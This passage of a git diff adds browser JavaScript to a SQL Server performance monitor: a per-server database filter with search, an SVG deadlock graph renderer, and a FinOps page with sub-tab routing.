+  if (!chosen) return "Databases: All";
+  return offered == null ? "Databases: " + chosen : "Databases: " + chosen + " of " + offered;
+}
+
+/** The control for a server whose card is not known (the first paint's fleet read failed): disabled, and no filter is active. */
+export function databaseFilterUnavailable() {
+  return el("span", { class: "db-filter" }, [
+    el("button", { type: "button", class: "btn db-filter-button", disabled: true, text: "Databases: unavailable" }),
+  ]);
+}
+
+/** The refusal sentence for checking `value` on top of `checked` when the encoded query part would pass its budget, else null. */
+function byteRefusal(value, checked) {
+  let bytes = databaseQueryBytes(value);
+  for (const n of checked) bytes += databaseQueryBytes(n);
+  return bytes > MAX_DB_QUERY_BYTES ? "These names would make the request too long: uncheck a database to pick another." : null;
+}
+
+/**
+ * The button and its popover for one server. `serverId` keys the stored choice and `server` is the route's key the inventory
+ * route takes. `onApply` runs once per Apply or "All databases", after the choice is stored.
+ */
+export function databaseFilterControl({ serverId, server, onApply }) {
+  const key = pickerKey(serverId);
+  const button = el("button", { type: "button", class: "btn db-filter-button", "aria-haspopup": "dialog", "aria-expanded": "false" });
+  const popover = el("div", { class: "db-filter-popover", role: "dialog", "aria-label": "Databases" });
+  popover.hidden = true;
+  const node = el("span", { class: "db-filter" }, [button, popover]);
+
+  const paintLabel = () => {
+    const inv = inventories.get(serverId);
+    /* A cut list reads "of 5000+": the count is the cap, not the number of databases the server has. */
+    const offered = inv ? (cutInventories.has(serverId) ? inv.length + "+" : inv.length) : null;
+    button.textContent = databaseFilterLabel(getDatabaseFilter(serverId).length, offered);
+  };
+
+  let picker = null;
+  const paintPopover = () => {
+    const isOpen = openFor === serverId;
+    popover.hidden = !isOpen;
+    button.setAttribute("aria-expanded", isOpen ? "true" : "false");
+    if (!isOpen) return;
+    const inv = inventories.get(serverId);
+    if (!inv && !loadFailed) {
+      mount(popover, el("div", { class: "db-filter-loading", text: "Loading databases..." }));
+      return;
+    }
+    /* A search answer replaces the list while the box holds its text; clearing the box shows the first page again. */
+    const answer = searchAnswers.get(serverId);
+    const listed = answer ? answer.names : inv;
+    const listCut = answer ? answer.cut : cutInventories.has(serverId);
+    const message = el("div", { class: "db-filter-message", role: "alert", text: loadFailed });
+    picker = multiPicker({
+      key,
+      label: "Databases",
+      options: listed || [],
+      max: MAX_DB_NAMES,
+      noun: "database",
+      selectAll: false,
+      defaultsLabel: null,
+      defaults: () => [],
+      refuse: byteRefusal,
+      onSearch: (text) => searchTyped(text),
+      /* The route matched this text itself, so its answer is listed as sent while the box still holds the text (#5314). */
+      answeredFor: answer ? answer.query : null,
+      onChange: () => {
+        message.textContent = "";
+      },
+    });
+    const finish = (names) => {
+      if (!setDatabaseFilter(serverId, names)) {
+        /* Two reasons a set is refused: it is over a size bound, or it holds a name the filter cannot keep (blank by the
+           service's rule, or over 128 characters). Each gets its own sentence. */
+        message.textContent = names.some((n) => !isDatabaseName(n))
+          ? "That selection holds a name the filter cannot keep (blank, or over 128 characters). Uncheck it and apply again."
+          : "That set of databases is too large to keep. Uncheck some and apply again.";
+        return;
+      }
+      openFor = null;
+      dropSearch(serverId);
+      paintLabel();
+      paintPopover();
+      onApply();
+    };
+    const all = el("button", { type: "button", class: "btn db-filter-all", text: "All databases", onClick: () => finish([]) });
+    const apply = el("button", { type: "button", class: "btn db-filter-apply", text: "Apply", onClick: () => finish(picker.checked()) });
+    /* The route stops at its cap and says so (truncated), so the picker says the list is cut. The search box asks the route for the
+       names that contain the text, so the note says to type a name; a search that is itself cut says to type more of it. */
+    const cutNote = listCut && listed
+      ? el("div", {
+        class: "db-filter-cut",
+        text: answer
+          ? "The search stops at " + listed.length + " databases, so more matches are not shown. Type more of the name to narrow it."
+          : "The list stops at " + listed.length + " databases, so more are not shown. Type part of a name in the search box to find it.",
+      })
+      : null;
+    mount(popover, [picker.node, cutNote, message, el("div", { class: "db-filter-actions" }, [all, apply])]);
+    picker.restoreFocus();
+  };
+
+  /* A keystroke in the search box. An uncut list already holds every name, so the picker's own filter is the whole search. A cut list
+     asks the route for the text, after a pause: each keystroke cancels the pending ask and the read in flight, and only the
+     newest answer is shown. An empty box drops the answer and shows the first page again. */
+  const searchTyped = (text) => {
+    if (!cutInventories.has(serverId)) return;
+    const query = text.trim();
+    clearTimeout(searchTimers.get(serverId));
+    const seq = (searchSeqs.get(serverId) || 0) + 1;
+    searchSeqs.set(serverId, seq);
+    const inFlight = searchAborts.get(serverId);
+    if (inFlight) inFlight.abort();
+    searchAborts.delete(serverId);
+    if (!query) {
+      if (searchAnswers.delete(serverId)) painters.get(serverId)();
+      return;
+    }
+    searchTimers.set(serverId, setTimeout(() => runSearch(seq, query), SEARCH_DEBOUNCE_MS));
+  };
+
+  const runSearch = async (seq, query) => {
+    const controller = typeof AbortController === "function" ? new AbortController() : null;
+    if (controller) searchAborts.set(serverId, controller);
+    const res = await apiGet(
+      "/api/server-databases?server=" + encodeURIComponent(server) + "&search=" + encodeURIComponent(query),
+      controller ? controller.signal : undefined);
+    if (searchSeqs.get(serverId) !== seq) return; // a newer keystroke owns the list now
+    searchAborts.delete(serverId);
+    if (res.kind === "data" && res.data && Array.isArray(res.data.databases)) {
+      loadFailed = "";
+      searchAnswers.set(serverId, { query, names: res.data.databases.filter((d) => typeof d === "string"), cut: res.data.truncated === true });
+    } else if (res.kind !== "aborted") {
+      searchAnswers.delete(serverId);
+      loadFailed = "The search could not be run" + (res.message ? ": " + res.message : ".");
+    }
+    painters.get(serverId)();
+  };
+
+  const load = async () => {
+    loadFailed = "";
+    const res = await apiGet("/api/server-databases?server=" + encodeURIComponent(server));
+    if (res.kind === "data" && res.data && Array.isArray(res.data.databases)) {
+      inventories.set(serverId, res.data.databases.filter((d) => typeof d === "string"));
+      if (res.data.truncated === true) cutInventories.add(serverId);
+      else cutInventories.delete(serverId);
+    } else if (res.kind !== "aborted") {
+      loadFailed = "The list of databases could not be loaded" + (res.message ? ": " + res.message : ".");
+    }
+    paintLabel();
+    paintPopover();
+  };
+
+  button.addEventListener("click", () => {
+    if (openFor === serverId) {
+      openFor = null;
+      dropSearch(serverId);
+      paintPopover();
+      return;
+    }
+    openFor = serverId;
+    dropSearch(serverId);
+    /* Opening starts from the stored choice: an earlier unapplied draft is dropped, as closing the desktop's popup drops it. */
+    const state = pickerState(key);
+    state.checked = new Set(getDatabaseFilter(serverId));
+    state.search = "";
+    paintPopover();
+    load();
+  });
+
+  painters.set(serverId, () => {
+    paintLabel();
+    paintPopover();
+  });
+  paintLabel();
+  paintPopover();
+  /* A rebuild (the 60 s poll) while the popover is open and no inventory is held asks for it again. */
+  if (openFor === serverId && !inventories.has(serverId) && !loadFailed) load();
+  return { node, label: () => button.textContent };
+}
+
+/**
+ * Closes the open popover, as a click on its button does (the morning walk, W9). The open flag lives at module scope so the
+ * 60 s poll's rebuild keeps a popover the reader is using; a navigation (a tab click, another server, a deep link) is not
+ * a rebuild, and without this the next page drew the control already open.
+ */
+export function closeDatabaseFilter() {
+  if (openFor === null) return;
+  const id = openFor;
+  openFor = null;
+  loadFailed = "";
+  dropSearch(id);
+  const paint = painters.get(id);
+  if (paint) paint();
+}
+
+/** Forgets the held inventories and the open flag. For tests. */
+export function resetDatabaseFilterState() {
+  inventories.clear();
+  cutInventories.clear();
+  for (const id of [...searchTimers.keys()]) dropSearch(id);
+  searchAnswers.clear();
+  searchSeqs.clear();
+  painters.clear();
+  openFor = null;
+  loadFailed = "";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/deadlock-graph.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/deadlock-graph.js
new file mode 100644
index 0000000000..5c629e8a96
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/deadlock-graph.js
@@ -0,0 +1,336 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * #5246: the deadlock graph in the Blocking tab's Deadlock Graphs grid. get_deadlock_detail sends each row's `graph`
+ * already laid out by the shared C# parser and layout (process cards with x/y, waits-for edges with lock modes, the
+ * independent cycles), so this file only draws it. The browser never reads the deadlock XML.
+ *
+ * Every value is drawn as text (textContent / el(..., {text})). The statement text is whatever the monitored server
+ * captured, so none of it is ever parsed as markup.
+ */
+
+import { el, disclosure } from "../util.js";
+
+/* The W3C namespace identifier createElementNS needs. It is never fetched, and the self-containment test allows
+   it. charts.js keeps the same constant; it is repeated here so this file does not import the chart code. */
+const SVG_NS = "http://www.w3.org/2000/svg";
+
+function svg(tag, attrs) {
+  const node = document.createElementNS(SVG_NS, tag);
+  if (attrs) for (const [k, v] of Object.entries(attrs)) if (v != null) node.setAttribute(k, String(v));
+  return node;
+}
+
+function svgText(attrs, text) {
+  const node = svg("text", attrs);
+  node.textContent = text;
+  return node;
+}
+
+/* The curve is bowed this far to the right of its direction of travel, so the two arrows of a 2-cycle separate. */
+const BOW = 38;
+const LOOP_RX = 20;
+const LOOP_RY = 16;
+const CYCLE_PAD = 22;
+const SQL_PREVIEW = 40;
+let markerSeq = 0;
+
+/* Which deadlocks have their graph open, at MODULE scope so the 60 s rebuild of the tab keeps it open. */
+const deadlockGraphOpen = new Set();
+
+function graphKey(server, row) {
+  return server + "\u0001" + (row.dedup_key || (row.collection_time || "") + "|" + (row.deadlock_time || ""));
+}
+
+/* The cycles worth framing: a component of two or more processes, as the desktop viewer does. */
+function realCycles(graph) {
+  return (Array.isArray(graph.cycles) ? graph.cycles : []).filter((c) => num(c.node_count) >= 2);
+}
+
+/* "PAGE db.schema.table" -> "table" for the canvas; the tooltip keeps the whole label. */
+function shortResource(label) {
+  const s = String(label || "");
+  const sp = s.indexOf(" ");
+  if (sp > 0 && sp < s.length - 1) {
+    const rest = s.slice(sp + 1);
+    const dot = rest.lastIndexOf(".");
+    if (dot >= 0 && dot < rest.length - 1) return rest.slice(dot + 1);
+  }
+  return s;
+}
+
+/**
+ * The per-process rows of a deadlock that sit in one of the chosen databases (#5244). The desktop viewers hide a process row
+ * whose database is not in the selection (`selected.Contains(d.DatabaseName)`), and a process with no database is never in
+ * it, so this does the same: a row with a missing, empty or non-text database is hidden while a filter is active. Names are
+ * compared exactly as stored (no trim, no case folding), as the page's database filter does. The graph is never filtered.
+ */
+export function processRowsInDatabases(rows, names) {
+  const chosen = new Set(Array.isArray(names) ? names : []);
+  return (Array.isArray(rows) ? rows : []).filter((p) => p && typeof p.database_name === "string" && chosen.has(p.database_name));
+}
+
+/** The Graph cell of one get_deadlock_detail row. Draws only when the reader opens it. */
+export function deadlockGraphCell(server, row) {
+  const graph = row.graph;
+  if (!graph) {
+    if (row.deadlock_graph_xml_truncated === true) {
+      return document.createTextNode("The graph needs the full XML; this read sent a preview.");
+    }
+    return document.createTextNode("—");
+  }
+  if (graph.too_large) {
+    const n = Number(graph.process_count) || 0;
+    return document.createTextNode(n + " processes — too many to draw here; use Save XML or the desktop viewer.");
+  }
+
+  const processes = Array.isArray(graph.processes) ? graph.processes : [];
+  const cycles = realCycles(graph);
+  const body = el("div", { class: "dlg-host" });
+  const summary =
+    "Graph (" + processes.length + (processes.length === 1 ? " process" : " processes") +
+    (cycles.length > 1 ? ", " + cycles.length + " cycles" : "") + ")";
+  const node = disclosure(summary, body);
+  const key = graphKey(server, row);
+
+  let drawn = false;
+  const draw = () => {
+    if (drawn) return;
+    drawn = true;
+    body.appendChild(drawDeadlockGraph(graph, row));
+  };
+  node.addEventListener("toggle", () => {
+    if (node.open) {
+      deadlockGraphOpen.add(key);
+      draw();
+    } else {
+      deadlockGraphOpen.delete(key);
+    }
+  });
+  if (deadlockGraphOpen.has(key)) {
+    node.setAttribute("open", "");
+    draw();
+  }
+  return node;
+}
+
+/* Where the ray from a card's centre toward another point leaves the card rectangle. */
+function clipToRect(cx, cy, tx, ty, halfW, halfH) {
+  const dx = tx - cx;
+  const dy = ty - cy;
+  if (Math.abs(dx) < 1e-6 && Math.abs(dy) < 1e-6) return [cx, cy];
+  const sx = Math.abs(dx) > 1e-6 ? halfW / Math.abs(dx) : Infinity;
+  const sy = Math.abs(dy) > 1e-6 ? halfH / Math.abs(dy) : Infinity;
+  const t = Math.min(sx, sy);
+  return [cx + dx * t, cy + dy * t];
+}
+
+function num(v, fallback = 0) {
+  const n = Number(v);
+  return Number.isFinite(n) ? n : fallback;
+}
+
+function round1(n) {
+  return Math.round(n * 10) / 10;
+}
+
+function clip(text, n) {
+  const s = String(text == null ? "" : text).replace(/\s+/g, " ").trim();
+  return s.length > n ? s.slice(0, n - 1) + "…" : s;
+}
+
+/** The drawn graph and its side panel, from one row's `graph` object. Returns a `.dlg` div. `row` is the grid row;
+ * its processes[] preview supplies a statement the graph left off because it was the same text. */
+export function drawDeadlockGraph(graph, row) {
+  const nodeW = num(graph.node_width, 240);
+  const nodeH = num(graph.node_height, 150);
+  const width = Math.max(num(graph.width, 400), nodeW);
+  const height = Math.max(num(graph.height, 300), nodeH);
+  const processes = Array.isArray(graph.processes) ? graph.processes : [];
+  const edges = Array.isArray(graph.edges) ? graph.edges : [];
+  const cycles = realCycles(graph);
+  const byId = new Map(processes.map((p) => [p.id, p]));
+  const previews = new Map();
+  for (const q of row && Array.isArray(row.processes) ? row.processes : []) if (q && q.process_id != null) previews.set(q.process_id, q.sql_text);
+  for (const p of processes) if (!p.sql_text && previews.get(p.id)) p.sql_text = previews.get(p.id);
+
+  /* A loop's label sits above the card; a card in the top row would clip it, so leave room above the canvas. */
+  const topPad = edges.some((e) => e.self) ? 20 : 0;
+  const markerId = "dlg-arrow-" + ++markerSeq;
+  const canvas = svg("svg", {
+    class: "dlg-svg",
+    viewBox: "0 " + -topPad + " " + width + " " + (height + topPad),
+    width: width,
+    height: height + topPad,
+    role: "img",
+    "aria-label": "Deadlock graph: " + processes.length + " processes",
+  });
+  const defs = svg("defs");
+  const marker = svg("marker", {
+    id: markerId,
+    viewBox: "0 0 10 10",
+    refX: 9,
+    refY: 5,
+    markerWidth: 8,
+    markerHeight: 8,
+    orient: "auto-start-reverse",
+  });
+  marker.appendChild(svg("path", { d: "M 0 0 L 10 5 L 0 10 z", class: "dlg-arrowhead" }));
+  defs.appendChild(marker);
+  canvas.appendChild(defs);
+
+  /* One dashed frame per independent cycle, only when there is more than one to tell apart. */
+  if (cycles.length > 1) {
+    let n = 0;
+    for (const c of cycles) {
+      n++;
+      /* Past the cards, so the frame never lies on a card border and its label never covers one. */
+      canvas.appendChild(
+        svg("rect", {
+          class: "dlg-cycle",
+          x: num(c.x) - CYCLE_PAD,
+          y: num(c.y) - CYCLE_PAD,
+          width: num(c.width) + CYCLE_PAD * 2,
+          height: num(c.height) + CYCLE_PAD * 2,
+          rx: 8,
+        })
+      );
+      canvas.appendChild(svgText({ class: "dlg-cycle-label", x: num(c.x) - CYCLE_PAD + 6, y: num(c.y) - CYCLE_PAD + 14 }, "Cycle " + n));
+    }
+  }
+
+  const halfW = nodeW / 2;
+  const halfH = nodeH / 2;
+  const edgeLabels = [];
+  for (const e of edges) {
+    const waiter = byId.get(e.waiter);
+    const owner = byId.get(e.owner);
+    if (!waiter || !owner) continue;
+    const wx = num(waiter.x) + halfW;
+    const wy = num(waiter.y) + halfH;
+    const ox = num(owner.x) + halfW;
+    const oy = num(owner.y) + halfH;
+    let d;
+    let ax;
+    let ay;
+    if (e.self || waiter === owner) {
+      /* A parallel thread waiting on its own exchange: a loop over the top of the card. */
+      const top = num(waiter.y);
+      const cy = top - LOOP_RY;
+      canvas.appendChild(svg("ellipse", { class: "dlg-edge dlg-loop", cx: round1(wx), cy: round1(cy), rx: LOOP_RX, ry: LOOP_RY }));
+      /* The arrowhead at the foot of the loop, pointing down into the card. */
+      canvas.appendChild(svg("path", { class: "dlg-arrowhead dlg-loop-head", d: "M " + round1(wx + 6) + " " + round1(top) + " L " + round1(wx) + " " + round1(top - 12) + " L " + round1(wx + 12) + " " + round1(top - 12) + " z" }));
+      d = null;
+      ax = wx;
+      ay = top - 36; /* above the loop, as the desktop puts it */
+    } else {
+      const [sx, sy] = clipToRect(wx, wy, ox, oy, halfW, halfH);
+      const [ex, ey] = clipToRect(ox, oy, wx, wy, halfW, halfH);
+      let dx = ox - wx;
+      let dy = oy - wy;
+      const len = Math.hypot(dx, dy) || 1;
+      dx /= len;
+      dy /= len;
+      const mx = (sx + ex) / 2 + -dy * BOW;
+      const my = (sy + ey) / 2 + dx * BOW;
+      d = "M " + round1(sx) + " " + round1(sy) + " Q " + round1(mx) + " " + round1(my) + " " + round1(ex) + " " + round1(ey);
+      ax = 0.25 * sx + 0.5 * mx + 0.25 * ex;
+      ay = 0.25 * sy + 0.5 * my + 0.25 * ey;
+    }
+    if (d) canvas.appendChild(svg("path", { class: "dlg-edge", d, "marker-end": "url(#" + markerId + ")" }));
+    const label = [shortResource(e.resource_label) || e.resource_kind || "", e.request_mode || ""].filter(Boolean).join(" · ");
+    if (label) {
+      const t = svgText({ class: "dlg-edge-label", x: round1(ax), y: round1(ay), "text-anchor": "middle" }, label);
+      const tip = svg("title");
+      tip.textContent =
+        (e.resource_label ? e.resource_label + "\n" : "") +
+        "Waiter requests " + (e.request_mode || "?") + ", owner holds " + (e.owner_mode || "?") + (e.resource_kind ? " (" + e.resource_kind + ")" : "");
+      t.appendChild(tip);
+      edgeLabels.push(t);
+    }
+  }
+  /* Labels last, so a card or a curve never hides one. */
+  for (const t of edgeLabels) canvas.appendChild(t);
+
+  const side = el("div", { class: "dlg-side" });
+  const cards = new Map();
+
+  const select = (p) => {
+    for (const [, g] of cards) g.setAttribute("class", g.getAttribute("class").replace(" selected", ""));
+    const g = cards.get(p.id);
+    if (g) g.setAttribute("class", g.getAttribute("class") + " selected");
+    side.textContent = "";
+    side.appendChild(el("div", { class: "dlg-side-head", text: "SPID " + p.spid + (p.victim ? " (victim)" : "") }));
+    const fields = [
+      ["Process", p.id],
+      ["ECID", p.ecid ? String(p.ecid) : null],
+      ["Procedure", p.proc_name],
+      ["Contended object", p.contended_object],
+      ["Lock mode", p.lock_mode],
+      ["Wait resource", p.wait_resource],
+      ["Wait time (ms)", p.wait_time_ms != null ? String(p.wait_time_ms) : null],
+      ["Priority", p.priority != null ? String(p.priority) : null],
+      ["Database", p.database_name],
+      ["Login", p.login_name],
+      ["Host", p.host_name],
+      ["App", p.client_app],
+      ["Isolation", p.isolation_level],
+      ["Status", p.status],
+    ];
+    for (const [k, v] of fields) {
+      if (v == null || v === "") continue;
+      side.appendChild(el("div", { class: "dlg-prop" }, [el("span", { class: "fk", text: k + ": " }), el("span", { class: "fv", text: v })]));
+    }
+    if (p.sql_text) {
+      side.appendChild(el("pre", { class: "code", text: p.sql_text }));
+      if (p.sql_text_cut) side.appendChild(el("div", { class: "dlg-prop", text: "The statement is cut here; the whole text is in the XML." }));
+    } else {
+      side.appendChild(el("div", { class: "dlg-prop", text: "No statement text was captured for this process." }));
+    }
+  };
+
+  for (const p of processes) {
+    const g = svg("g", {
+      class: "dlg-node" + (p.victim ? " victim" : ""),
+      tabindex: 0,
+      role: "button",
+      transform: "translate(" + num(p.x) + " " + num(p.y) + ")",
+    });
+    g.appendChild(svg("rect", { class: "dlg-card", width: nodeW, height: nodeH, rx: 6 }));
+    g.appendChild(svgText({ class: "dlg-spid", x: 10, y: 22 }, "SPID " + p.spid + (p.ecid ? " / " + p.ecid : "")));
+    if (p.victim) g.appendChild(svgText({ class: "dlg-badge", x: nodeW - 10, y: 22, "text-anchor": "end" }, "VICTIM"));
+    const lines = [
+      p.proc_name || "",
+      p.contended_object || "",
+      [p.lock_mode ? "lock " + p.lock_mode : "", p.wait_time_ms != null ? "wait " + p.wait_time_ms + " ms" : ""].filter(Boolean).join(" · "),
+      clip(p.sql_text, SQL_PREVIEW),
+    ];
+    let y = 46;
+    for (const line of lines) {
+      if (line) g.appendChild(svgText({ class: "dlg-line", x: 10, y }, clip(line, 34)));
+      y += 24;
+    }
+    const pick = () => select(p);
+    g.addEventListener("click", pick);
+    g.addEventListener("keydown", (ev) => {
+      if (ev && (ev.key === "Enter" || ev.key === " ")) {
+        if (ev.preventDefault) ev.preventDefault();
+        pick();
+      }
+    });
+    cards.set(p.id, g);
+    canvas.appendChild(g);
+  }
+
+  const first = processes.find((p) => p.victim) || processes[0];
+  if (first) select(first);
+
+  const scroll = el("div", { class: "dlg-scroll" }, [canvas]);
+  return el("div", { class: "dlg" }, [scroll, side]);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops.js
new file mode 100644
index 0000000000..c3dddde89a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops.js
@@ -0,0 +1,236 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * FinOps page: a server picker, a sub-tab strip and a body. The page is the web port of the desktop viewer's
+ * FinOps tab. Route: #/finops, #/finops/{server} and #/finops/{server}/{tab}; the server and the tab id ride in
+ * the hash so a view is deep-linkable and survives the shell poll, which re-renders the whole route.
+ *
+ * Each sub-tab lives in its own file under pages/finops/ and exports `tab = { id, label, build(server, ctx) }`; ctx is `{ signal }`, the AbortSignal that
+ * cancels the tab's reads when the page redraws.
+ * The registry below is the one place the twelve are named, in the desktop tab strip's order, so a tab's own
+ * file is the only thing a tab ever changes. The browser derives no band, score or percentage threshold: a tab
+ * shows what the read returned.
+ *
+ * The server choice is also kept in localStorage ("finops.server") for a bare #/finops visit. Server Inventory is
+ * fleet-wide: the picker stays visible on that tab and its build ignores the choice.
+ */
+
+import { el, mount, readTool, loadingStrip, errorStrip, emptyStrip } from "../util.js";
+import { setPanelSignal } from "../panels.js";
+import { orderServers } from "../server-order.js";
+import { isPostgresRow } from "./finops/gate.js";
+import { tab as utilization } from "./finops/utilization.js";
+import { tab as database_resources } from "./finops/database-resources.js";
+import { tab as storage_growth } from "./finops/storage-growth.js";
+import { tab as locking } from "./finops/locking.js";
+import { tab as database_sizes } from "./finops/database-sizes.js";
+import { tab as version_store } from "./finops/version-store.js";
+import { tab as optimization } from "./finops/optimization.js";
+import { tab as high_impact } from "./finops/high-impact.js";
+import { tab as application_connections } from "./finops/application-connections.js";
+import { tab as server_inventory } from "./finops/server-inventory.js";
+import { tab as index_analysis } from "./finops/index-analysis.js";
+import { tab as recommendations } from "./finops/recommendations.js";
+
+/** The sub-tabs, in the desktop FinOps tab strip's order. */
+export const FINOPS_TABS = [
+  utilization,
+  database_resources,
+  storage_growth,
+  locking,
+  database_sizes,
+  version_store,
+  optimization,
+  high_impact,
+  application_connections,
+  server_inventory,
+  index_analysis,
+  recommendations,
+];
+
+const SERVER_KEY = "finops.server";
+const TAB_KEY = "finops.tab";
+
+let renderGeneration = 0;
+let panelAbort = null;
+/* The last list_servers rows, so a hashchange paints in the same tick and only the poll re-reads them. */
+let lastRows = null;
+
+function storedGet(key) {
+  try {
+    return localStorage.getItem(key);
+  } catch {
+    return null;
+  }
+}
+
+function storedSet(key, value) {
+  try {
+    localStorage.setItem(key, value);
+  } catch {
+    /* storage unavailable: the hash still carries the choice */
+  }
+}
+
+function findTab(id) {
+  return FINOPS_TABS.find((t) => t.id === id) || FINOPS_TABS[0];
+}
+
+function hashFor(server, tabId) {
+  return "#/finops/" + encodeURIComponent(server) + "/" + tabId;
+}
+
+/** The server rows list_servers returned, whichever envelope shape carried them. */
+function serverRows(data) {
+  if (Array.isArray(data)) return data;
+  if (data && Array.isArray(data.servers)) return data.servers;
+  return [];
+}
+
+/**
+ * Put the server on screen into the address (#5565). A bare #/finops, or a server with no tab, names no server in the
+ * hash, and the table filters are kept per route, so a filter set while one server was shown would also apply to
+ * whichever server a later bare visit opens on. Rewriting the address to the server and sub-tab form with replaceState
+ * (no hashchange, no history entry) gives every server its own filters. Returns the hash now in force.
+ */
+export function pinFinopsHash(server, tabId) {
+  const target = hashFor(server, tabId);
+  if (typeof location !== "undefined" && location && location.hash !== target && typeof history !== "undefined" && history && typeof history.replaceState === "function") {
+    try {
+      history.replaceState(history.state, "", target);
+    } catch {
+      /* an address that cannot be rewritten leaves the page as it was */
+    }
+  }
+  return target;
+}
+
+function tabBar(server, active) {
+  return el(
+    "nav",
+    { class: "subtabs finops-tabs", "aria-label": "FinOps sections" },
+    FINOPS_TABS.map((t) =>
+      el("a", {
+        class: "subtab" + (t.id === active.id ? " active" : ""),
+        href: hashFor(server, t.id),
+        "aria-current": t.id === active.id ? "page" : null,
+        text: t.label,
+      })
+    )
+  );
+}
+
+function serverPicker(rows, server, tabId) {
+  const sel = el(
+    "select",
+    { class: "range-select-inline finops-server-select", "aria-label": "Server" },
+    rows.map((r) => el("option", { value: r.server_name, text: (r.display_name || r.server_name) + (isPostgresRow(r) ? " (PostgreSQL)" : "") }))
+  );
+  sel.value = server;
+  sel.addEventListener("change", () => {
+    storedSet(SERVER_KEY, sel.value);
+    location.hash = hashFor(sel.value, tabId);
+  });
+  return el("label", { class: "range-control" }, [el("span", { text: "Server" }), sel]);
+}
+
+/**
+ * Resolve the hash or stored value to a registry row, by key or by display name. When neither matches, the first row in
+ * the sidebar's order that is not PostgreSQL, because most FinOps panels read SQL Server data and a first visit opening
+ * on a PostgreSQL target showed a page of "not collected"; the first row only when every target is PostgreSQL.
+ * Everything downstream (select value, build, storage, tab links) continues with the row's server_name.
+ */
+function resolveRow(rows, wanted) {
+  return rows.find((r) => r.server_name === wanted)
+    || rows.find((r) => r.display_name === wanted)
+    || rows.find((r) => !isPostgresRow(r))
+    || rows[0];
+}
+
+function sameServers(a, b) {
+  return a.length === b.length && a.every((r, i) => r.server_name === b[i].server_name && r.display_name === b[i].display_name);
+}
+
+/**
+ * @param {HTMLElement} main
+ * @param {string} [server] server key (or display name) from the hash; falls back to the stored choice, then the first server
+ * @param {string} [tabId] sub-tab id from the hash; an unknown or absent id resolves to the first tab
+ * @param {object} [opts] `{ poll: true }` when this call is the shell poll's refresh (see renderServer)
+ */
+export function renderFinops(main, server, tabId, opts) {
+  const isPoll = !!(opts && opts.poll === true);
+  const generation = ++renderGeneration;
+  const active = findTab(tabId || storedGet(TAB_KEY));
+  const wanted = server || storedGet(SERVER_KEY);
+
+  /* Abort the previous render's reads and open this render's controller before any await. */
+  if (panelAbort) panelAbort.abort();
+  let controller = panelAbort = new AbortController();
+
+  const paint = (rows) => {
+    const head = el("div", { class: "page-head" }, [el("h2", { text: "FinOps" })]);
+    const body = el("div", { class: "finops-body" });
+    const row = resolveRow(rows, wanted);
+    const chosen = row.server_name;
+    storedSet(SERVER_KEY, chosen);
+    storedSet(TAB_KEY, active.id);
+    /* Before the sub-page builds, so the filter keys of its tables carry the server. */
+    pinFinopsHash(chosen, active.id);
+    head.appendChild(el("div", { class: "spacer" }));
+    head.appendChild(serverPicker(rows, chosen, active.id));
+    setPanelSignal(controller.signal);
+    mount(main, [head, body]);
+    mount(body, [
+      tabBar(chosen, active),
+      el("div", { class: "finops-panel" }, [active.build(chosen, { signal: controller.signal, postgres: isPostgresRow(row) })]),
+    ]);
+  };
+
+  /* Every render, poll included, paints from the cache in the same tick: that rebuilds the tab's panels,
+     which is how the open tab refreshes its data. The server list is re-read only when there is no cache or on a poll. */
+  const hit = lastRows !== null && (!server || lastRows.some((r) => r.server_name === server || r.display_name === server));
+  const hadCache = hit;
+  if (hit) paint(lastRows);
+  else mount(main, [el("div", { class: "page-head" }, [el("h2", { text: "FinOps" })]), el("div", { class: "finops-body" }, [loadingStrip("Loading servers")])]);
+
+  const needFetch = !hit || isPoll;
+  if (!needFetch) return;
+
+  (async () => {
+    const res = await readTool("list_servers", {}, controller.signal);
+    if (generation !== renderGeneration) return;
+    const body = main.querySelector(".finops-body");
+    const show = (node) => {
+      /* A failed re-read on a poll says nothing about the painted page: keep it and the cache. */
+      if (hadCache) return;
+      lastRows = null;
+      if (body) mount(body, node);
+    };
+    /* An empty registry is a definite answer, not a failed read: drop the cache and the painted page's reads. */
+    const showEmpty = () => {
+      lastRows = null;
+      controller.abort();
+      if (body) mount(body, emptyStrip("No servers are registered yet."));
+    };
+    /* An empty registry answers with prose, which the read classifies as an error; it is the empty case. */
+    if (res.kind === "error" && /^No servers are registered/.test(res.message || "")) return showEmpty();
+    if (res.kind === "error") return show(errorStrip(res.message));
+    const rows = res.kind === "data" ? orderServers(serverRows(res.data)) : [];
+    if (rows.length === 0) return showEmpty();
+    const unchanged = hadCache && lastRows !== null && sameServers(lastRows, rows);
+    lastRows = rows;
+    if (!unchanged) {
+      if (hadCache) {
+        if (panelAbort) panelAbort.abort();
+        controller = panelAbort = new AbortController();
+      }
+      paint(rows);
+    }
+  })();
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/application-connections.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/application-connections.js
new file mode 100644
index 0000000000..787ff9ce21
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/application-connections.js
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Application Connections" tab: per-application connection counts (average and peak; running, sleeping, dormant),
+   CPU, reads and writes from get_finops (view application_connections) over a fixed 24-hour window. */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool } from "../../util.js";
